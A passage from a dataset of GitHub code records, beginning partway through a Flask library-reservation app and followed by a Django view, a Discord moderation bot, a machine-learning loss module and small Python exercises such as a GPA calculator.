== \"POST\":\n        if not request.form.get(\"search_type_books\") or not request.form.get(\"ID\"):\n            return redirect(\"/books_admin\")\n        search_type = request.form.get(\"search_type_books\")\n        search_id_title = request.form.get(\"ID\")\n        if search_type == \"Book\":\n            books = db.execute(\"SELECT book_id, title, description, genre, photo_adress FROM books WHERE book_id = ?\", search_id_title)\n            return render_template(\"books_admin.html\", books=books)\n        elif search_type == \"Title\":\n            sql_search_id_title = \"%\" + search_id_title + \"%\"\n            books = db.execute(f\"SELECT book_id, title, description, genre, photo_adress FROM books WHERE title LIKE ?\", sql_search_id_title)\n            return render_template(\"books_admin.html\", books=books)\n        elif search_type == \"Genre\":\n            sql_search_id_title = \"%\" + search_id_title + \"%\"\n            books = db.execute(f\"SELECT book_id, title, description, genre, photo_adress FROM books WHERE genre LIKE ?\", sql_search_id_title)\n            return render_template(\"books_admin.html\", books=books)\n    else:\n        return redirect(\"/books_admin\")\n\n@app.route(\"/add_new_book_admin\", methods=[\"GET\", \"POST\"])\n@login_required\n@admin_access_required\ndef add_new_book():\n    \"\"\"Add new book(s) to collection\"\"\"\n    if request.method == \"POST\":\n        if not request.form.get(\"title\"):\n            return apology(\"must provide title\", 400)\n        elif not request.form.get(\"description\"):\n            return apology(\"must provide description\", 400)\n        elif not request.form.get(\"genre\"):\n            return apology(\"must provide genre\", 400)\n        elif not request.form.get(\"photo_adress\"):\n            return apology(\"must provide photo adress\", 400)\n        elif not request.form.get(\"ammount\"):\n            return apology(\"must provide ammount\", 400)\n\n        title = str(request.form.get(\"title\"))\n        description = str(request.form.get(\"description\"))\n        genre = str(request.form.get(\"genre\"))\n        photo_adress = request.form.get(\"photo_adress\")\n        ammount = int(request.form.get(\"ammount\"))\n\n        if ammount < 1:\n            return apology(\"must provide ammount >= 1\", 400)\n        elif len(description) > MAX_AMOUNT_OF_CHARACTERS:\n            return apology(f\"must provide description with no more than {MAX_AMOUNT_OF_CHARACTERS} characters\", 400)\n\n        for i in range(ammount):\n            db.execute(\n                \"INSERT INTO books (description, title, genre, photo_adress) VALUES(?, ?, ?, ?)\", description, title, genre, photo_adress)\n        return redirect(\"/books_admin\")\n    else:\n        return render_template(\"add_new_book_admin.html\")\n\n@app.route(\"/admin_reservations\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef admin_reservations():\n    \"\"\"Show all reservations\"\"\"\n    reservations_dict = db.execute(\n        \"SELECT reservation_id, book_id, deadline, users.user_id, users.email, users.phone_number FROM reservations INNER JOIN users ON users.user_id=reservations.user_id\")\n    return render_template(\"admin_reservations.html\", reservations=reservations_dict)\n\n@app.route(\"/returned_to_collection\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef returned_to_collection():\n    \"\"\"Return specific book to collection (book is free)\"\"\"\n    if request.method == \"POST\":\n        reservation_id = request.form.get(\"reservation_id\")\n        rows = db.execute(\"SELECT book_id, deadline, users.user_id, email FROM reservations INNER JOIN users ON users.user_id=reservations.user_id WHERE reservation_id = ?\", reservation_id)[0]\n        book_id = rows[\"book_id\"]\n        user_id = rows[\"user_id\"]\n        user_email = rows[\"email\"]\n        deadline = rows[\"deadline\"]\n        end_datetime = datetime.now().strftime(\"%Y-%m-%d\")\n        end_date = datetime.strptime(end_datetime, \"%Y-%m-%d\")\n        end_date = end_date.strftime(\"%Y-%m-%d\")\n        db.execute(\"INSERT INTO history (reservation_id, book_id, user_id, email, deadline, date_returned) VALUES(?, ?, ?, ?, ?, ?)\", reservation_id, book_id, user_id, user_email, deadline, end_date)\n        db.execute(\"DELETE FROM reservations WHERE reservation_id = ?\", reservation_id)\n    return redirect(\"/admin_reservations\")\n\n\n@app.route(\"/send_reminder\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef send_reminder():\n    \"\"\"Warn user\"\"\"\n    if request.method == \"POST\":\n        reservation_id = request.form.get(\"reservation_id\")\n        specific_reservation = db.execute(\"SELECT book_id, deadline FROM reservations WHERE reservation_id = ?\", reservation_id)[0]\n        book_id = specific_reservation[\"book_id\"]\n        deadline = specific_reservation[\"deadline\"]\n        user_email = db.execute(\"SELECT email FROM users INNER JOIN reservations on users.user_id=reservations.user_id WHERE reservation_id = ?\", reservation_id)[0][\"email\"]\n        admin_email = str(os.environ['admin_email'])\n        subject = f'Return book to the library! Reminder for reservation ID {reservation_id}'\n        beginning_of_message = f'Please return borrowed book within 5 days. Book id : {book_id}, Reservation ID : {reservation_id}. Your first deadline was {deadline}.\\n'\n        msg = Message(subject, sender=admin_email, recipients=[user_email])\n        msg.body = beginning_of_message\n        try:\n            mail.send(msg)\n        except:\n            return apology(\"Something went wrong\", 400)\n    return redirect(\"/admin_reservations\")\n\n@app.route(\"/admin_search\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef admin_search():\n    \"\"\"Search through reservations\"\"\"\n    if request.method == \"POST\":\n        if not request.form.get(\"search_type\") or not request.form.get(\"ID\"):\n            return redirect(\"/admin_reservations\")\n        search_type = request.form.get(\"search_type\")\n        search_id = request.form.get(\"ID\")\n        if search_type == \"User\":\n            reservations_dict = db.execute(\n                                \"SELECT reservation_id, book_id, deadline, users.user_id, users.email, users.phone_number FROM reservations INNER JOIN users ON users.user_id=reservations.user_id WHERE reservations.user_id = ? \", search_id)\n            return render_template(\"admin_reservations.html\", reservations=reservations_dict)\n\n        elif search_type == \"Reservation\":\n            reservations_dict = db.execute(\n                                \"SELECT reservation_id, book_id, deadline, users.user_id, users.email, users.phone_number FROM reservations INNER JOIN users ON users.user_id=reservations.user_id WHERE reservations.reservation_id = ? \", search_id)\n            return render_template(\"admin_reservations.html\", reservations=reservations_dict)\n        elif search_type == \"Book\":\n            reservations_dict = db.execute(\n                                \"SELECT reservation_id, book_id, deadline, users.user_id, users.email, users.phone_number FROM reservations INNER JOIN users ON users.user_id=reservations.user_id WHERE reservations.book_id = ? \", search_id)\n            return render_template(\"admin_reservations.html\", reservations=reservations_dict)\n    else:\n        return redirect(\"/admin_reservations\")\n\n\n@app.route(\"/admin_history\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef admin_history():\n    \"\"\"Show everything from archives\"\"\"\n    rows = db.execute(\"SELECT * FROM history\")\n    return render_template(\"admin_history.html\", rows=rows)\n\n\n@app.route(\"/admin_history_search\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef admin_history_search():\n    \"\"\"Search archives by admin\"\"\"\n    if request.method == \"POST\":\n        if not request.form.get(\"search_type_history\") or not request.form.get(\"ID\"):\n            return redirect(\"/admin_history\")\n        search_type = request.form.get(\"search_type_history\")\n        search_id = request.form.get(\"ID\")\n        if search_type == \"User\":\n            rows = db.execute(\"SELECT * FROM history WHERE user_id = ? \", search_id)\n            return render_template(\"admin_history.html\", rows=rows)\n        elif search_type == \"Book\":\n            rows = db.execute(\"SELECT * FROM history WHERE book_id = ? \", search_id)\n            return render_template(\"admin_history.html\", rows=rows)\n        elif search_type == \"Reservation\":\n            rows = db.execute(\"SELECT * FROM history WHERE reservation_id = ? \", search_id)\n            return render_template(\"admin_history.html\", rows=rows)\n    else:\n        return redirect(\"/admin_reservations\")\n\n# User's backend!\n\n@app.route(\"/\")\n@login_required\ndef homepage():\n    return render_template(\"home.html\")\n\n\n@app.route(\"/personal_data\")\n@login_required\ndef personal_data():\n    \"\"\"Show user's personal data\"\"\"\n    rows = db.execute(\"SELECT  user_id, email, phone_number FROM users WHERE user_id = ?\", session[\"user_id\"])\n    user_id = rows[0][\"user_id\"]\n    email = rows[0][\"email\"]\n    phone_number = rows[0][\"phone_number\"]\n    return render_template(\"personal_data.html\", user_id=user_id, email=email, phone_number=phone_number)\n\n\n@app.route(\"/search\", methods=[\"GET\", \"POST\"])\n@login_required\ndef search():\n    \"\"\"Search books by genres\"\"\"\n    genres = db.execute(\"SELECT DISTINCT genre FROM books WHERE book_id NOT IN (SELECT book_id FROM reservations)\")\n    if request.method == \"POST\":\n        chosen_genre = request.form.get(\"chosen_genre\")\n        if chosen_genre == \"All\":\n            books_dict = db.execute(\n            \"SELECT book_id, title, description, genre, photo_adress FROM books WHERE book_id NOT IN (SELECT book_id FROM reservations)\")\n        else:\n            books_dict = db.execute(\n                \"SELECT book_id, title, description, genre, photo_adress FROM books WHERE book_id NOT IN (SELECT book_id FROM reservations) AND genre LIKE ?\", chosen_genre)\n    else:\n        books_dict = db.execute(\n            \"SELECT book_id, title, description, genre, photo_adress FROM books WHERE book_id NOT IN (SELECT book_id FROM reservations)\")\n    return render_template(\"search.html\", books=books_dict, genres=genres)\n\n\n@app.route(\"/reserve_book\", methods=[\"GET\", \"POST\"])\n@login_required\ndef reserve_book():\n    \"\"\"Reserve book for user\"\"\"\n    if request.method == \"POST\":\n        reservations_dict = db.execute(\"SELECT reservation_id FROM reservations WHERE user_id = ?\", session[\"user_id\"])\n        if len(reservations_dict) >= MAX_AMOUNT_OF_RESERVATIONS:\n            return apology(f\"One student can borrow only {MAX_AMOUNT_OF_RESERVATIONS} books!\", 400)\n\n        user_rows = db.execute(\"SELECT email FROM users WHERE user_id = ?\", session[\"user_id\"])\n        user_id = session[\"user_id\"]\n        user_email = user_rows[0][\"email\"]\n        book_id = request.form.get(\"reserved_book\")\n\n        begin_datetime = datetime.now().strftime(\"%Y-%m-%d\")\n        begin_date = datetime.strptime(begin_datetime, \"%Y-%m-%d\")\n        \n        # Deadline is 30 days later\n        deadline = (begin_date + timedelta(days=30)).strftime(\"%Y-%m-%d\")\n        begin_date = begin_date.strftime(\"%Y-%m-%d\")\n        db.execute(\n            \"INSERT INTO reservations (book_id, user_id, deadline) VALUES(?, ?, ?)\", book_id, user_id, deadline)\n\n        reservation_id = db.execute(\"SELECT reservation_id FROM reservations ORDER BY reservation_id DESC LIMIT 1\")[0][\"reservation_id\"]\n        book_title = db.execute(\"SELECT title FROM books WHERE book_id = ?\", book_id)[0][\"title\"]\n\n        generate_qrcode_for_reservation(book_id, book_title, reservation_id, user_email, user_id)\n        send_reservation_details(book_id, book_title, reservation_id, user_email, mail)\n        return redirect(\"/reservations\")\n    else:\n        return redirect(\"/reservations\")\n\n@app.route(\"/reservations\", methods=[\"GET\", \"POST\"])\n@login_required\ndef reservations():\n    \"\"\"Show user's reservations\"\"\"\n    reservations_dict = db.execute(\n        \"SELECT reservation_id, reservations.book_id, title, photo_adress, deadline FROM reservations INNER JOIN books ON books.book_id=reservations.book_id WHERE user_id = ?\", session[\"user_id\"])\n    return render_template(\"reservations.html\", reservations=reservations_dict)\n\n@app.route(\"/contact_us\", methods=[\"GET\", \"POST\"])\n@login_required\ndef contact_us():\n    \"\"\"Send help form to administrator\"\"\"\n    if request.method == \"POST\":\n        if not request.form.get(\"message\"):\n            return apology(\"must provide message\", 400)\n\n        message = str(request.form.get(\"message\"))\n        if len(message) > MAX_AMOUNT_OF_CHARACTERS:\n            return apology(f\"Your message is too long! Max {MAX_AMOUNT_OF_CHARACTERS} characters\", 400)\n\n        rows = db.execute(\"SELECT * FROM users WHERE user_id = ?\", session[\"user_id\"])\n\n        admin_email = str(os.environ['admin_email'])\n        user_email = str(rows[0]['email'])\n        user_phone = str(rows[0]['phone_number'])\n\n        subject = f'New library message from {user_email} appears!'\n        beginning_of_message = f'User {user_email} (ID {session[\"user_id\"]}) with phone number {user_phone} wrote to you: \\n'\n        message = beginning_of_message + message\n        msg = Message(subject, sender=admin_email, recipients=[admin_email])\n        msg.body = message\n        try:\n            mail.send(msg)\n        except:\n            return apology(\"Something went wrong\", 400)\n        return redirect(\"/\")\n\n    else:\n        return render_template(\"contact_us.html\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n\n    # Forget any user_id\n    session.clear()\n\n    if request.method == \"POST\":\n        if not request.form.get(\"email\"):\n            return apology(\"must provide email\", 400)\n\n        elif not request.form.get(\"password\"):\n            return apology(\"must provide password\", 400)\n\n        # Check if user is an admin\n        admin_rows = db.execute(\"SELECT * FROM admins WHERE email = ?\", request.form.get(\"email\"))\n        if len(admin_rows) == 1 and check_password_hash(admin_rows[0][\"hash\"], request.form.get(\"password\")):\n            session[\"user_id\"] = admin_rows[0][\"admin_id\"]\n            return redirect(\"/admin\")\n\n        rows = db.execute(\"SELECT * FROM users WHERE email = ?\", request.form.get(\"email\"))\n\n        # Ensure email exists and password is correct\n        if len(rows) != 1 or not check_password_hash(rows[0][\"hash\"], request.form.get(\"password\")):\n            return apology(\"invalid username and/or password\", 400)\n\n        # Remember which user has logged in\n        session[\"user_id\"] = rows[0][\"user_id\"]\n\n        return redirect(\"/\")\n\n    # User reached route via GET (as by clicking a link or via redirect)\n    else:\n        return render_template(\"login.html\")\n\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n    \"\"\"Register new user\"\"\"\n    if request.method == \"POST\":\n        if not request.form.get(\"email\"):\n            return apology(\"must provide email\", 400)\n        elif not request.form.get(\"phone_number\"):\n            return apology(\"must provide phone number\", 400)\n        elif not request.form.get(\"password\"):\n            return apology(\"must provide password\", 400)\n        elif not request.form.get(\"check_password\"):\n            return apology(\"must confirm password\", 400)\n\n        email = request.form.get(\"email\")\n        phone_number = request.form.get(\"phone_number\")\n        password = request.form.get(\"password\")\n        confirmation = request.form.get(\"check_password\")\n\n        if password != confirmation:\n            return apology(\"passwords do not match\", 400)\n\n        rows = db.execute(\"SELECT * FROM users WHERE email = ?\", email)\n        if len(rows) >= 1:\n            return apology(\"username with that email already exists\", 400)\n\n        hash = generate_password_hash(password)\n        db.execute(\"INSERT INTO users (phone_number, email, hash) VALUES(?, ?, ?)\", phone_number, email, hash)\n        return redirect(\"/\")\n\n    else:\n        return render_template(\"register.html\")\n\n@app.route(\"/logout\")\ndef logout():\n    \"\"\"Log user out\"\"\"\n    session.clear()\n    return redirect(\"/\")","repo_name":"Resmakor/Online-Library-System","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":18549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6580267724","text":"from django.contrib.auth.decorators import login_required\nfrom django.core.exceptions import ValidationError\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import FormView\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom . import models\n\n\n@method_decorator(login_required(login_url='/account/login/'), name='dispatch')\nclass MakePostView(FormView):\n    template_name = 'interaction/make_post.html'\n\n    def get(self, request, *args, **kwargs):\n        full_name = request.user.get_full_name()\n\n        status = 'You are logged in.'\n        name = full_name if not full_name.isspace() else request.user.email\n        template_file = 'account_modal.html'\n        return render(request, self.template_name,\n                      context={\n                          'section_name': _('Draft'),\n                          'logged_in': _(status),\n                          'name': name,\n                          'template_file': template_file,\n                      })\n\n    def post(self, request, *args, **kwargs):\n        data = request.POST\n        story = models.Post()\n        story.make_new_post(request=request,\n                            title=data['title'],\n                            content_body=data['content_body'])\n        story.subtitle = data['subtitle'].strip()\n        story.tldr = data['tldr'].strip()\n        messages = []\n        try:\n            story.save()\n            messages += 'Your post is published.'\n            return JsonResponse({\n                'messages': messages,\n                'url': '/login/',\n                'all_clear': True,\n            })\n        except ValidationError as ve:\n            messages += ve\n            return JsonResponse({\n                'messages': messages,\n                'url': '/new-story/',\n                'all_clear': False,\n            })\n","repo_name":"walter090/notitia","sub_path":"interaction/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2899018687","text":"\"\"\"\nKlasa Kwiat:\natrybuty instancji:\nnazwa,kolor, odmiana, wzrost\nfunkcjonalnosc: rosnij, malej\n\n\"\"\"\n\n\nclass Kwiat:\n\n    def __init__(self, name, kolor, odmiana, wzrost ):\n        self.name = name\n        self.kolor = kolor\n        self.odmiana = odmiana\n        self.wzrost = wzrost\n\n    def rosnij(self):\n        self.wzrost += 1\n\n    def malej(self):\n        self.wzrost -= 1\n\n\nkwiat = Kwiat('roza', 'red', 'k1', 30)\nprint(f'Sadzimy kwiat {kwiat.name}')\nfor i in range(15):\n    print(f'W dniu {i} wysokość kwiata wynosi: {kwiat.wzrost}')\n    kwiat.rosnij()\n    \n","repo_name":"1piotrnowicki1/infoshare_cwiczenia","sub_path":"zjazd_4_OOP/ćwiczenie_class_kwiat.py","file_name":"ćwiczenie_class_kwiat.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2858233085","text":"'''\n@Time    : 2022/7/14 14:43\n@Author  : leeguandon@gmail.com\n'''\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom mmgen.models.losses.utils import weighted_loss\nfrom mmgen.models.builder import MODULES\n\n\n@weighted_loss\ndef cross_entropy(pred, target):\n    return F.cross_entropy(pred, target, reduction='none')\n\n\n@MODULES.register_module()\nclass CrossEntropy(nn.Module):\n    def __init__(self, loss_weight=1.0, data_info=None, loss_name='cross_entropy'):\n        super(CrossEntropy, self).__init__()\n        self.loss_weight = loss_weight\n        self.data_info = data_info\n        self._loss_name = loss_name\n\n    def forward(self, *args, **kwargs):\n        if self.data_info is not None:\n            # parse the args and kwargs\n            if len(args) == 1:\n                assert isinstance(args[0], dict), (\n                    'You should offer a dictionary containing network outputs '\n                    'for building up computational graph of this loss module.')\n                outputs_dict = args[0]\n            elif 'outputs_dict' in kwargs:\n                assert len(args) == 0, (\n                    'If the outputs dict is given in keyworded arguments, no'\n                    ' further non-keyworded arguments should be offered.')\n                outputs_dict = kwargs.pop('outputs_dict')\n            else:\n                raise NotImplementedError(\n                    'Cannot parsing your arguments passed to this loss module.'\n                    ' Please check the usage of this module')\n            # link the outputs with loss input args according to self.data_info\n            loss_input_dict = {\n                k: outputs_dict[v]\n                for k, v in self.data_info.items()\n                }\n            kwargs.update(loss_input_dict)\n            kwargs.update(dict(weight=self.loss_weight))\n            return cross_entropy(**kwargs)\n        else:\n            return cross_entropy(*args, weight=self.loss_weight, **kwargs)\n\n    def loss_name(self):\n        return self._loss_name\n","repo_name":"leeguandong/mmgeneration_add","sub_path":"mmgen_add/models/losses/pixelwise_loss.py","file_name":"pixelwise_loss.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18099162454","text":"# Done By the Almighty Kushurox helpers:-\n# 1]Jackaboi\n# I am still working on this\nimport discord\nfrom discord.ext import commands\nimport asyncio\nimport random\nimport os\n\nclient = commands.Bot(command_prefix=\"k!\")\n\ncount = 0\nhelp_msg = \"Toss\\nClr\\nrps rock|paper|scissor\\ncredits\\ncmds\\ntimer SEC|MINS\\nroles <role name>[optional argument]\\nkick\\nmute [member] [time OPTIONAL]\\nunmute [member]\"\ncredits_msg= \"Kushurox aka Kushal\\nJackaboi (his yt:https://www.youtube.com/channel/UCNp8BvJDLjsxFwl97FgDX7A)\"\nrestricted_words = [\"FUCK\",\"WTF\",\"FUK\",\"GAY\",\"STFU\"]\nroles_msg = \"**ROLES**\\npervert\\ndark\\nsenpai\\n\\n***NOTE:Please add the roles in the server roles before using these***\"\nroles_list = [\"pervert\",\"dark\",\"senpai\"]\n@client.event\nasync def on_ready():\n    print(\"{0.user.name} with an id {1.user.id} logged in!\".format(client,client))\n    await client.change_presence(game=discord.Game(name=\"with my k!cmds\"))\n@client.command()\nasync def toss():\n    k = random.randint(0,1)\n    if k == 0:\n        await client.say(\"Heads\")\n    else:\n        await client.say(\"Tails\")\n\n@client.command(pass_context=True)\n@commands.has_permissions(administrator=True)\nasync def clr(ctx, amount=\"0\"):\n    try:\n        args = int(amount)\n        if args == 0:\n            await client.say(\"Please provide a valid argument\")\n            return False\n        elif args < 0:\n            await client.say(\"Please provide an positive integer\")\n            return False\n        else:\n            await client.purge_from(ctx.message.channel, limit=args)\n            return True\n    except ValueError:\n        await client.say(\"Please provide numbers only\")\n    except discord.HTTPException:\n        await client.say(\"bad request please provide small numbers to prevent such issues\")\n@client.command(pass_context=True)\nasync def rps(ctx):\n    k = random.randint(0,2)\n    args = ctx.message.content.split(\" \")\n    try:\n        if args[1].upper() == \"ROCK\" or args[1].upper() == \"SCISSOR\" or args[1].upper() == \"PAPER\":\n            if k == 0:\n                await client.say(\"<@{0.message.author.id}> you win :D !\".format(ctx))\n            elif k == 1:\n                await client.say(\"<@{0.message.author.id}> Tie :| !\".format(ctx))\n            else:\n                await client.say(\"<@{0.message.author.id}> You Lose ;( !\".format(ctx))\n        else:\n            await client.say(\"Invalid Arguments try k!help\")\n    except IndexError:\n        await client.say(\"No Arguments Provided try k!help\")\n@client.command()\nasync def cmds():\n    helpembed = discord.Embed(description=help_msg, colour=discord.Color.blue())\n    helpembed.set_author(name=\"KushBot\")\n    await client.say(embed=helpembed)\n\n@client.command()\nasync def credits():\n    creditsembed = discord.Embed(description=credits_msg, colour=discord.Color.purple())\n    creditsembed.set_author(name=\"Kushbot\")\n    await client.say(embed=creditsembed)\n@client.event\nasync def on_message(message):\n    k = message.content.upper().split(\" \")\n    for j in k:\n        if j in restricted_words:\n            await client.delete_message(message)\n            await client.send_message(message.channel, \"<@%s> Such words are not allowed!\" % (message.author.id))\n            break\n    await client.process_commands(message)\n@client.event\nasync def on_member_join(member: discord.Member):\n    try:\n        serverchannel = discord.utils.get(member.server.channels, name=\"join-leave-messages\")\n        role = discord.utils.get(member.server.roles, id=\"member\")\n        await client.add_roles(member, role)\n        emb1 = (discord.Embed(description=\"Yo Welcome to our channel <@%s>\\nWant cool ranks please do k!roles\" % (member.id), colour=0x3DF270))\n        emb1.set_author(name=\"KushBot\")\n        await client.send_message(serverchannel, embed=emb1)\n    except discord.Forbidden:\n        serverchannel = discord.utils.get(member.server.channels, name=\"join-leave-messages\")\n        emb1 = (discord.Embed(description=\"Yo Welcome to our channel <@%s>\\nWant cool ranks please do k!roles\" % (member.id), colour=0x3DF270))\n        emb1.set_author(name=\"KushBot\")\n        await client.send_message(member.channel, embed=emb1)\n    except:\n        emb1 = (discord.Embed(description=\"Yo Welcome to our channel <@%s>\\nWant cool ranks please do k!roles\" % (member.id), colour=0x3DF270))\n        emb1.set_author(name=\"KushBot\")\n        await client.send_message(serverchannel, embed=emb1)\n@client.event\nasync def on_member_remove(member: discord.Member):\n    try:\n        serverchannel = discord.utils.get(member.server.channels, name=\"join-leave-messages\")\n        meml = member.name\n        embl = (discord.Embed(description= meml+\" has left T_T.He/she/it doesn't knows the value of this server\", colour=0x3DF170))\n        embl.set_author(name=\"KushBot\")\n        await client.send_message(serverchannel, embed=embl)\n    except:\n        meml = member.name\n        embl = (discord.Embed(description= meml+\" has left T_T.He/she/it doesn't knows the value of this server\", colour=0x3DF170))\n        embl.set_author(name=\"KushBot\")\n        await client.say(embed=embl)\n@client.command(pass_context=True)\nasync def timer(ctx, units = \"none\", amount :int = -1, *, reason = \" \"):\n    \n    if amount == -1:\n        await client.say(\"Invalid Argument try for k!help or k!cmds\")\n        return False\n    elif amount == 0:\n        await client.send_message(ctx.message.author, \"Are you a fool????\")\n        return False\n    elif units == \"none\":\n        await client.send_message(ctx.message.channel, \"Invalid Argument try k!help or k!cmds\")\n        return False\n    elif units.upper() == \"MINS\":\n        await client.send_message(ctx.message.author, \"No worries do your job ill Remind you :wink:\\nReason:\" + reason)\n        await asyncio.sleep(amount * 60)\n        await client.send_message(ctx.message.author, \"Timer is done get back!\\nReason:\" + reason)\n    elif units.upper() == \"SEC\":\n        await client.send_message(ctx.message.author, \"No worries do your job ill Remind you :wink:\\nReason:\" + reason)\n        await asyncio.sleep(amount)\n        await client.send_message(ctx.message.author, \"Timer is done get back!\\nReason:\" + reason)\n    else:\n        await client.say(\"Something is wrong\")\n@client.command(pass_context=True)\nasync def roles(ctx, rolename = \"none\"):\n    if rolename == \"none\":\n        rembed = discord.Embed(description=roles_msg, colour=discord.Color.dark_gold())\n        rembed.set_author(name=\"KushBot\")\n        await client.say(embed=rembed)\n    elif rolename in roles_list:\n        if rolename not in ctx.message.author.roles:\n            role = discord.utils.get(ctx.message.server.roles, name=rolename)\n            await client.add_roles(ctx.message.author, role)\n            await client.say(\"**Role set**\")\n        else:\n            role = discord.utils.get(ctx.message.server.roles, name=rolename)\n            await client.remove_roles(ctx.message.author, role)\n            await client.say(\"**Role Removed**\")\n    else:\n        await client.say(\"Role not exisitng.\")\n@client.command(pass_context=True)\n@commands.has_permissions(administrator=True)\nasync def kick(ctx, name : discord.Member = \"none\"):\n    try:\n        if name == \"none\":\n            await client.say(\"Who the fish should i kick?\")\n            return False\n        await client.kick(name)\n        await client.say(\"Kicked his ass :wink:\")\n    except discord.Forbidden:\n        await client.say(\"I lack perms bruhh\")\n    except:\n        await client.say(\"User not existing\")\n@client.command(pass_context=True)\n@commands.has_permissions(administrator=True)\nasync def mute(ctx, member : discord.Member = None, minutes = \"0\"):\n    try:\n        time = int(minutes)\n        if member != None and time == 0:\n            try:\n                role= discord.utils.get(ctx.message.server.roles, name=\"Muted\")\n                await client.add_roles(member, role)\n                emb1 = discord.Embed(description=\"Shut up {0.name} you have been muted\\nduration:∞\".format(member), colour=discord.Color.blue())\n                emb1.set_author(name=\"KushBot\")\n                await client.say(embed=emb1)\n            except discord.Forbidden:\n                await client.say(\"I dont have permissions ;(\")\n            except:\n                await client.say(\"Role not existing please create one\")\n        elif member != None and time != 0:\n            try:\n                role = discord.utils.get(ctx.message.server.roles, name=\"Muted\")\n                await client.add_roles(member, role)\n                emb1 = discord.Embed(description=\"Shut up {0.name} you have been muted\\nduration:{1} min\".format(member,time),colour=discord.Color.blue())\n                emb1.set_author(name=\"KushBot\")\n                await client.say(embed=emb1)\n                await asyncio.sleep(time * 60)\n                await client.remove_roles(member, role)\n                await client.say(\"You have been unmuted <@{0.id}>\".format(member))\n            except discord.Forbidden:\n                await client.say(\"I lack perms ;(\")\n            except:\n                await client.say(\"Role Not existing please create one\")\n        elif member != None and time < 0:\n            await client.say(\"Provide a positive integer\")\n            return False\n        else:\n            await client.say(\"Invalid Arguments please try k!cmds\")\n            return False\n    except:\n        await client.say(\"Invalid Arguments try k!cmds\")\n@client.command(pass_context=True)\n@commands.has_permissions(administrator=True)\nasync def unmute(ctx, member : discord.Member = None):\n    try:\n        if member == None:\n            await client.say(\"Who the fish should i mute?\")\n            return False\n        m_role = discord.utils.get(ctx.message.server.roles, name=\"Muted\")\n        await client.remove_roles(member, m_role)\n        await client.say(\"fine fine you can talk... {0.name}\".format(member))\n    except discord.Forbidden:\n        await client.say(\"I lack perms bruhh\")\n    except:\n        await client.say(\"Role not Existing\")\n\n        \n\n\n\n\n\n\n        \n\nclient.run(os.getenv('TOKEN'))\n","repo_name":"Lordksk/MyDiscordBot","sub_path":"KushBot.py","file_name":"KushBot.py","file_ext":"py","file_size_in_byte":10051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28603292170","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb  4 09:53:52 2020\r\n\r\n@author: Kyra\r\n\"\"\"\r\n#Focus on lists, loops, if-else, print output(?)\r\ngrade_list = []\r\ncredit_list = []\r\nname_list = []\r\nx = 1\r\ntotal_credits = 0\r\ntotal_points = 0\r\nprint('Semester GPA calculator')\r\nnum_of_classes = int(input('How many classes did you have?: '))\r\nwhile x <= num_of_classes:\r\n    name1 = input('Name of class ' + str(x) + ': ')\r\n    name_list.append(name1)\r\n    credit = 0\r\n    while True:\r\n        credit = input('How many credits was the class?: ')\r\n        if credit.isdigit():\r\n            break\r\n        else:\r\n            print('Invalid, enter an integer')\r\n    credit_list.append(int(credit))\r\n    while True: #wth is this\r\n        grade1 = input('What grade did you get? (A,B,C,D,F): ')\r\n        grade1 = grade1.upper()\r\n        if grade1 == 'A':\r\n            grade1 = 4.0\r\n            grade_list.append(grade1)\r\n        elif grade1 == 'B':\r\n            grade1 = 3.0\r\n            grade_list.append(grade1)\r\n        elif grade1 == 'C':\r\n            grade1 = 2.0\r\n            grade_list.append(grade1)\r\n        elif grade1 == 'D':\r\n            grade1 = 1.0\r\n            grade_list.append(grade1)\r\n        elif grade1 == 'F':\r\n            grade1 = 0.0\r\n            grade_list.append(grade1)\r\n        else:\r\n            print('Invalid input, try again')\r\n            continue\r\n        break\r\n    x += 1\r\ni = 0\r\nfor i in range(0, len(grade_list)): \r\n        total_credits = total_credits + credit_list[i]                   \r\n        total_points = total_points + (grade_list[i] * credit_list[i])\r\nprint(name_list)\r\nprint(grade_list)\r\nprint(credit_list)\r\nprint('Total points: ',total_points)\r\nprint('Total credit hours: ', total_credits)\r\nfinal_gpa = total_points/total_credits\r\nprint('Semester GPA: %0.2f'% (final_gpa))","repo_name":"pymavs-uta/GPA-Calculator","sub_path":"Basic/gpa.py","file_name":"gpa.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
